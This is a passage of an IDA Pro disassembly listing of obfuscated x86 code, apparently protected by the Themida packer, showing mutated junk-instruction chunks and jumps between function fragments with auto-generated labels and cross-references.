loc_589BDC:				; CODE XREF: sub_583C38+473Ej
		add	esp, 4
		or	[edi+1Ch], ebp
		pop	ebp
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_583C38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_589BE8:				; CODE XREF: sub_58999B+56EBj
		sub	al, bl
		push	bx
		mov	bl, 0DAh
		add	al, bl
		pop	bx
		sub	al, 9Dh
		pop	ebx
		push	ecx
		mov	cl, 55h
		inc	cl
		push	0
		sub	byte ptr [esp-6+arg_2],	cl
		mov	cl, byte ptr [esp-6+arg_2]
		add	esp, 4
		sub	cl, 6Dh
		jmp	loc_58FAA4
; END OF FUNCTION CHUNK	FOR sub_58999B

; =============== S U B	R O U T	I N E =======================================



sub_589C10	proc near		; CODE XREF: sub_585452+1C7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058419B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00584F30 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00585FDD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00587BEA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00588DCB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005890BC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005894BF SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005897BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058B154 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058B294 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0058C150 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058DE95 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058E1A5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FBA2 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+0], eax
		push	ebx
		jmp	loc_58E1A5
sub_589C10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589C1F:				; CODE XREF: sub_585452+9957j
		mov	edi, 4
		sub	esi, edi
		jmp	loc_583DE3
; ---------------------------------------------------------------------------


loc_589C2B:				; CODE XREF: sub_585452-1427j
		push	1941h
		mov	[esp+0Ch+var_C], eax
		push	ebx
		jmp	sub_583D6F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589C39:				; CODE XREF: Themida_:0058F411j
		add	ebx, 4
		jmp	loc_5880E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589C44:				; CODE XREF: sub_585452+686Fj
		mov	eax, 462240D9h
		push	ebp
		mov	ebp, 59304702h
		and	ebp, 47FD75D6h
		sub	ebp, 0ED960060h
		sub	ebx, ebp
		jmp	loc_589936
; ---------------------------------------------------------------------------


loc_589C62:				; CODE XREF: sub_585452+2E70j
		pop	dx
		jmp	loc_58425D
; ---------------------------------------------------------------------------


loc_589C69:				; CODE XREF: sub_585452+3D3j
		mov	edi, 60C10FA7h
		dec	edi
		push	edx
		jmp	loc_58F227
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589C75:				; CODE XREF: Themida_:005845F8j
		pop	esp
		mov	[esp], edx
		push	ecx
		push	ebx
		jmp	loc_58714B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589C80:				; CODE XREF: sub_585452+3273j
		push	2
		pop	ebx
		add	esi, 54E73772h
		sub	esi, ebx
		sub	esi, 54E73772h
		pop	ebx
		xor	esi, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], esi
		xor	esi, [esp-0Ch+arg_8]
		pop	esp
		mov	[esp+0], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58E825
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589CB7:				; CODE XREF: sub_585452+42BFj
		mov	edi, [esp-16h+arg_12]
		jmp	loc_58D3B7
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BCA7


loc_589CBF:				; CODE XREF: sub_58BCA7+3AB4j
		xor	ebx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebx
		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		jmp	loc_585F32
; END OF FUNCTION CHUNK	FOR sub_58BCA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589CD1:				; CODE XREF: sub_585452+5333j
		push	[esp-16h+arg_12]
		pop	eax
		jmp	loc_589311
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5886E0


loc_589CDA:				; CODE XREF: sub_5886E0-1E6Dj
		and	ebp, esi
		jmp	loc_58D70A
; END OF FUNCTION CHUNK	FOR sub_5886E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D7D9


loc_589CE1:				; CODE XREF: sub_58D7D9-2164j
		mov	ecx, 0E332E68h
		mov	esi, 0E332E6Ch
		xor	esi, ecx
		pop	ecx
		jmp	loc_58D6AB
; END OF FUNCTION CHUNK	FOR sub_58D7D9
; ---------------------------------------------------------------------------


loc_589CF3:				; CODE XREF: Themida_:00586BE3j
		push	467Ah
		mov	[esp], ebx
		push	1
		mov	ebx, [esp]
		add	esp, 4
		or	[edi+1Ch], ebx
		jmp	loc_58875F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_589D0E:				; CODE XREF: sub_58FA66-53F5j
		mov	eax, 17E6324Dh
		not	eax
		not	eax
		dec	eax
		shl	eax, 2
		sub	eax, 4F2D1B5Ch
		add	eax, 4F66A295h
		mov	esi, eax
		pop	eax
		neg	esi
		xor	esi, 0FEB9A00Ch
		mov	ebp, esi
		mov	esi, [esp+0]
		add	esp, 4
		jmp	loc_58E912
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_589D40:				; CODE XREF: Themida_:00583D6Aj
		shr	ebx, 3
		jmp	loc_58EE32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589D48:				; CODE XREF: sub_585452+DAj
		xchg	edi, ebx
		jmp	loc_58EE84
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589D4F:				; CODE XREF: Themida_:0058A00Aj
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2581189Eh
		add	eax, esi
		jmp	loc_58C413
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_589D65:				; CODE XREF: sub_58C230+679j
		neg	ebp
		and	ebp, 102D58ADh
		sub	ebp, 0FFFFFFFFh
		add	ebp, 2E6F5FCAh
		xor	ebp, 2E9C4153h
		jmp	loc_58BD9D
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589D81:				; CODE XREF: sub_585452+6C61j
		xor	edi, eax
		pop	eax
		jmp	loc_58803D
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C31F


loc_589D89:				; CODE XREF: sub_58C31F-3F81j
		pop	esp
		jmp	sub_58405E
; END OF FUNCTION CHUNK	FOR sub_58C31F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589D8F:				; CODE XREF: sub_585452+939Dj
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 48A80E15h
		xchg	edx, ebx
		push	edx
		not	[esp+16h+var_18+2]
		pop	edx
		jmp	loc_58C4F8
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58405E


loc_589DA4:				; CODE XREF: sub_58405E+1j
		push	esi
		mov	esi, 5CCE4F4Ah
		mov	ebx, esi
		pop	esi
		sub	ebx, 15324D2Dh
		add	eax, ebx
		jmp	loc_58F1B1
; END OF FUNCTION CHUNK	FOR sub_58405E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589DBA:				; CODE XREF: sub_585452+6E06j
		shr	eax, 7
		xor	eax, 66B23Ah
		mov	edi, eax
		push	[esp+12h+var_14+2]
		jmp	loc_586F16
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E234


loc_589DCC:				; CODE XREF: sub_58E234-653Bj
		sub	esi, offset dword_57FFFC
		add	edi, esi
		pop	esi
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		xor	edi, [esp+4+var_4]
		xor	[esp+4+var_4], edi
		xor	edi, [esp+4+var_4]
		pop	esp
		or	eax, eax
		jnz	sub_58EFBD
		push	65C4h
		mov	[esp+4+var_4], eax
		mov	eax, 58692166h
		push	ebx
		push	1B5F1F98h
		pop	ebx
		dec	ebx
		jmp	loc_585CE9
; END OF FUNCTION CHUNK	FOR sub_58E234
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589E0A:				; CODE XREF: sub_585452+8D7Aj
		mov	esi, [esp+16h+var_18+2]
		add	esp, 4
		push	edi
		push	ecx
		push	4E213452h
		pop	ecx
		add	ecx, 5CAD0921h
		sub	ecx, 587FC1BBh
		jmp	loc_58794C
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E1AF


loc_589E29:				; CODE XREF: sub_58E1AF+220j
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp-4+arg_0]
		jmp	loc_58669E
; END OF FUNCTION CHUNK	FOR sub_58E1AF
; ---------------------------------------------------------------------------


loc_589E36:				; CODE XREF: Themida_:00589EC1j
		inc	ebx
		not	ebx
		jmp	loc_584A3D
; ---------------------------------------------------------------------------


loc_589E3E:				; CODE XREF: Themida_:0058A8F4j
		pop	ebp
		sub	ebx, 26396E20h
		add	ebx, ecx
		jmp	loc_58D0D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589E4C:				; CODE XREF: sub_585452+A78Ej
		pop	esi
		sub	edi, 1
		and	edi, 33555CC6h
		or	edi, 0B7F7E31h
		jmp	loc_58C080
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589E61:				; CODE XREF: Themida_:00589BCFj
		sub	eax, 7E532C48h
		sub	eax, 521A007Fh
		add	eax, edi
		add	eax, 521A007Fh
		push	ebp
		mov	ebp, 0A55052h
		dec	ebp
		dec	ebp
		neg	ebp
		jmp	loc_58D4EF
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		jmp	loc_58BCEC
; ---------------------------------------------------------------------------


loc_589E8B:				; CODE XREF: Themida_:0058B6D5j
		sub	esp, 4
		mov	[esp], ebp
		push	2991h
		mov	[esp], eax
		mov	eax, 4EF1D70h
		push	edx
		push	ecx
		push	688C1F8Bh
		pop	ecx
		dec	ecx
		shl	ecx, 7
		jmp	loc_58C82D
; ---------------------------------------------------------------------------


loc_589EB2:				; CODE XREF: Themida_:0058EEA6j
		push	ebx
		mov	ebx, 2120032Eh
		shl	ebx, 1
		sub	ebx, 0D04358Eh
		inc	ebx
		jmp	loc_589E36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589EC6:				; CODE XREF: sub_585452-174Aj
		add	edi, eax
		sub	edi, 264D431Fh
		sub	edi, 6D241D33h
		pop	eax
		add	edi, 2
		xor	edi, [esp-8+arg_4]
		xor	[esp-8+arg_4], edi
		xor	edi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		dec	byte ptr [esp-8+arg_4]
		pushf
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_589EF0	proc near		; CODE XREF: sub_58F923-65AEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, 0B8606Bh
		and	ebp, 2A1E073Ah
		or	ebp, 5C6C22CBh
		shr	ebp, 5
		xor	ebp, 3F358479h
		xor	ecx, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		sub	[esp+arg_0], ecx
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_583C20
sub_589EF0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589F22:				; CODE XREF: sub_585452+8B70j
		add	ecx, ebx
		add	ecx, 38285709h
		jmp	loc_58AFB4
; ---------------------------------------------------------------------------


loc_589F2F:				; CODE XREF: sub_585452+1289j
		push	[esp+46h+var_44+2]
		pop	edi
		pop	[esp+46h+var_48+2]
		jmp	loc_58E3E0
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589F3C:				; CODE XREF: Themida_:005849ABj
		pop	eax
		jmp	loc_589BD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589F42:				; CODE XREF: sub_585452+5FE8j
		sub	edi, ecx
		pop	ecx
		push	edi
		push	eax
		jmp	loc_58A77A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589F4C:				; CODE XREF: Themida_:00583DB1j
		add	ebx, ecx
		jmp	loc_5867D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589F53:				; CODE XREF: sub_585452+8F10j
		sub	ebx, ecx
		mov	ecx, [esp+46h+var_48+2]
		add	esp, 4
		push	dword ptr [eax]
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589F65:				; CODE XREF: Themida_:0058BCF4j
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589F6A:				; CODE XREF: sub_585452+867j
		push	1908h
		jmp	loc_5860D6
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DA2E


loc_589F74:				; CODE XREF: sub_58DA2E-2496j
		xor	al, ch
		pop	cx
		push	2D09h
		mov	[esp+0Ah+var_C+2], ecx
		push	eax
		jmp	sub_58A170
; END OF FUNCTION CHUNK	FOR sub_58DA2E
; ---------------------------------------------------------------------------


loc_589F86:				; CODE XREF: Themida_:0058E396j
		mov	cl, ah
		jmp	loc_58FA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_589F8D:				; CODE XREF: sub_58EFBD-239Fj
		push	[esp-4+arg_0]
		pop	ebp
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589F94:				; CODE XREF: sub_585452:loc_58CDB4j
					; sub_58EFBD-5E1j
		mov	ebx, [esp+0]
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp-8+arg_4], edi
		mov	edi, 0D5C2620h
		xor	edi, 2AD5375Eh
		jmp	sub_58F487
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		push	ebx
		mov	bh, 0EBh
		or	bh, 6Ch
		xor	bh, 98h
		mov	dl, bh
		pop	ebx
		add	al, 0D3h
		add	al, dl
		push	ecx
		mov	cl, 0C7h
		jmp	loc_58A475
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_583C20

; =============== S U B	R O U T	I N E =======================================



sub_589FD5	proc near		; CODE XREF: sub_585452+8CDj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00583E92 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005866E0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00586703 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005876D8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00587CB7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00587E3C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058813F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00588443 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00588EB8 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0058997D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058A44E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058BAE3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F63D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058FD4F SIZE 00000026 BYTES

		push	ebp
		mov	ebp, 71683B49h
		mov	esi, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		shl	esi, 2
		sub	esi, 302357D2h
		dec	esi
		shl	esi, 6
		add	esi, 0A09AABC4h
		jmp	loc_58BAE3
sub_589FD5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_589FFB:				; CODE XREF: Themida_:00586174j
		pop	edi
		sub	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_589D4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A00F:				; CODE XREF: sub_585452-AD5j
		mov	[esp-14h+arg_E+2], edx
		push	eax
		mov	eax, 7EFC1617h
		add	eax, 0FFFFFFFFh
		jmp	loc_586369
; ---------------------------------------------------------------------------


loc_58A022:				; CODE XREF: sub_585452+3942j
		add	esp, 4
		jmp	loc_5870EC
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58A02A:				; CODE XREF: Themida_:0058F366j
		add	bl, 7Fh
		add	bl, al
		sub	bl, 7Fh
		jmp	loc_585696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A037:				; CODE XREF: sub_585452+A10Ej
		push	ecx
		push	[esp-1Eh+arg_1E]
		jmp	loc_588D21
; ---------------------------------------------------------------------------


loc_58A041:				; CODE XREF: sub_585452-B00j
		mov	ebp, [esp-0Ch+arg_8]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-8+arg_4]
		pop	esp
		jmp	loc_585730
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58A05C:				; CODE XREF: Themida_:0058748Dj
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58A061:				; CODE XREF: Themida_:00589996j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58CE20
; ---------------------------------------------------------------------------


loc_58A072:				; CODE XREF: Themida_:0058F64Bj
		push	esp
		pop	ecx
		add	ecx, 4
		push	5EC7h
		mov	[esp], edi
		push	ecx
		mov	ecx, 3A2D2FD3h
		neg	ecx
		and	ecx, 1D76B74h
		xchg	ebp, ecx
		not	ebp
		jmp	loc_58B6DA
; ---------------------------------------------------------------------------


loc_58A099:				; CODE XREF: Themida_:0058CB0Aj
		push	edx
		push	ebx
		mov	bh, 0D2h
		mov	dl, bh
		pop	ebx
		add	dl, 1Ch
		add	al, dl
		pop	edx
		sub	al, dl
		jmp	loc_58C48C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A0AD:				; CODE XREF: sub_585452+5C70j
		pop	ebx
		or	edx, 23750CE0h
		not	edx
		push	eax
		mov	eax, 4D1D71DAh
		add	edx, eax
		jmp	loc_586FD8
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58A0C3:				; CODE XREF: Themida_:00588AA1j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	516Bh
		mov	[esp], ecx
		push	esp
		jmp	loc_585F07
; ---------------------------------------------------------------------------


loc_58A0DA:				; CODE XREF: Themida_:0058B457j
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	ebx
		jmp	loc_584046
; ---------------------------------------------------------------------------


loc_58A0EF:				; CODE XREF: Themida_:0058D326j
		push	eax
		mov	eax, 4
		add	ebp, 620520DEh
		add	ebp, 64780510h
		jmp	loc_58EED3
; ---------------------------------------------------------------------------


loc_58A106:				; CODE XREF: Themida_:00588926j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 29313B89h
		sub	eax, 1
		xor	eax, 415020D9h
		shr	eax, 5
		shr	eax, 3
		add	eax, 0FF979EE9h
		push	edi
		mov	edi, 12420D49h
		inc	edi
		jmp	loc_5868DE
; ---------------------------------------------------------------------------


loc_58A136:				; CODE XREF: Themida_:0058CFA1j
		add	esi, 5F5C3184h
		add	esi, 1DA6558Ah
		jmp	loc_58D9F8
; ---------------------------------------------------------------------------


loc_58A147:				; CODE XREF: Themida_:005878B1j
		pop	ax
		jmp	loc_584697
; ---------------------------------------------------------------------------


loc_58A14E:				; CODE XREF: Themida_:0058E4EDj
		not	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 58116D88h
		inc	ecx
		add	ecx, 0FFFFFFFFh
		add	ecx, 19705E9Eh
		sub	ecx, 328972C2h
		jmp	loc_58C63C

; =============== S U B	R O U T	I N E =======================================



sub_58A170	proc near		; CODE XREF: sub_58DA2E-3AADj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_2		= word ptr  6

; FUNCTION CHUNK AT 005848D6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00586769 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00586F81 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005874AA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058B9F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C25D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058C3A8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058DCE9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058E74F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FEA2 SIZE 00000013 BYTES

		push	ebx
		mov	bh, 26h
		mov	al, 86h
		add	al, bh
		pop	ebx
		shl	al, 6
		push	ecx
		mov	cl, 0E4h
		dec	cl
		jmp	loc_58DCE9
sub_58A170	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58A185:				; CODE XREF: Themida_:005892BEj
		sub	edx, 4
		push	edx
		jmp	loc_585C58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A191:				; CODE XREF: sub_585452-A1Aj
		add	[esp-18h+arg_12+2], 4
		push	[esp-18h+arg_12+2]
		pop	eax
		add	esp, 4
		push	edi
		mov	edi, 4
		add	eax, 1EC20E30h
		jmp	loc_589016
; ---------------------------------------------------------------------------


loc_58A1AF:				; CODE XREF: sub_585452+8C65j
		or	edx, 74401A67h
		neg	edx
		add	edx, 20AD406Ch
		xor	edi, edx
		pop	edx
		sub	ecx, 7DC03F31h
		add	ecx, edi
		add	ecx, 7DC03F31h
		pop	edi
		sub	ecx, 4
		jmp	loc_586834
; ---------------------------------------------------------------------------


loc_58A1D7:				; CODE XREF: sub_585452+2CDCj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-0Ch+arg_8]
		pop	esp
		sub	al, 86h
		sub	al, cl
		add	al, 86h
		mov	ecx, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		sub	bl, 47h
		add	bl, 0B1h
		add	bl, al
		push	ecx
		mov	cl, 0Bh
		add	cl, 1
		jmp	loc_584961
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58A215:				; CODE XREF: Themida_:0058FD4Aj
		mov	[esp], ecx
		push	ebx
		jmp	loc_5866B0
; ---------------------------------------------------------------------------


loc_58A21E:				; CODE XREF: Themida_:0058C1D0j
		pop	edi
		inc	edx
		or	edx, 164031FAh
		sub	edx, 9779FDFAh
		jmp	loc_58468E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D97C


loc_58A231:				; CODE XREF: sub_58D97C+29Aj
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp+0]
		jmp	sub_58CCD7
; END OF FUNCTION CHUNK	FOR sub_58D97C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587B94


loc_58A244:				; CODE XREF: sub_587B94+13j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4+var_4]
		pop	esp
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_587B94

; =============== S U B	R O U T	I N E =======================================



sub_58A26F	proc near		; CODE XREF: sub_585452+6FE0j

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00586640 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058A70F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058AD9C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058B777 SIZE 00000008 BYTES

		push	ebp
		mov	ebp, 326E5BCBh
		and	ebp, 66F65B3Dh
		jmp	loc_586640
sub_58A26F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58A280:				; CODE XREF: sub_58EFBD-6E00j
		add	[esp-8+arg_8], 44E25D72h
		add	[esp-8+arg_8], ebp
		sub	[esp-8+arg_8], 44E25D72h
		pop	ebp
		pop	eax
		jmp	loc_587828
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58960C


loc_58A29B:				; CODE XREF: sub_58960C-2976j
		pop	ebx
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		jmp	loc_58DE4A
; END OF FUNCTION CHUNK	FOR sub_58960C
; ---------------------------------------------------------------------------


loc_58A2AA:				; CODE XREF: Themida_:0058F262j
		pop	esp
		mov	[esp], edi
		jmp	loc_589759
; ---------------------------------------------------------------------------


loc_58A2B3:				; CODE XREF: Themida_:0058D0A2j
		pop	ebp
		jmp	loc_58BAA5
; ---------------------------------------------------------------------------


loc_58A2B9:				; CODE XREF: Themida_:0058CCD2j
		mov	edx, [esp]
		jmp	loc_58E04F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A2C1:				; CODE XREF: sub_585452+3EC2j
		add	eax, 15B85B67h
		push	[esp+0Ah+var_C+2]
		pop	edi
		add	esp, 4
		push	edi
		push	4820h
		mov	[esp+0Eh+var_10+2], eax
		push	ebx
		mov	ebx, 4165236Ch
		push	eax
		jmp	loc_589A93
; ---------------------------------------------------------------------------


loc_58A2E2:				; CODE XREF: sub_585452+2D9j
		neg	ebp
		jmp	loc_58715E
; ---------------------------------------------------------------------------


loc_58A2E9:				; CODE XREF: sub_585452+2C68j
		sub	eax, edx
		add	eax, 6E465D6Fh
		jmp	loc_589386
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586650


loc_58A2F5:				; CODE XREF: sub_586650+4384j
		sub	esi, 6064170Bh
		pop	edx
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp+8+var_8]
		pop	esp
		jmp	sub_58905F
; END OF FUNCTION CHUNK	FOR sub_586650
; ---------------------------------------------------------------------------


loc_58A30E:				; CODE XREF: Themida_:005881A2j
		pop	esi
		add	ebp, ebx
		pop	ebx
		jmp	loc_58E4A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_58A317:				; CODE XREF: sub_589967-E8Fj
		pop	edx
		sub	ebp, 5E413F23h
		add	edx, ebp
		pop	ebp
		jmp	loc_58BCAD
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_58958F
; ---------------------------------------------------------------------------


loc_58A353:				; CODE XREF: Themida_:0058470Fj
		pop	esi
		jmp	loc_58E20E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A359:				; CODE XREF: sub_585452+5B6Bj
		pop	ecx
		push	esi
		jmp	loc_58DFB2
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 7E786A84h
		xor	ebp, 7E786A80h
		add	esi, ebp
		pop	ebp
		push	edx
		mov	edx, 4
		sub	esi, edx
		push	dword ptr [esp]
		jmp	loc_584371
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58A382:				; CODE XREF: sub_58EFBD-86F9j
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		add	esi, 6F2C0D8Ch
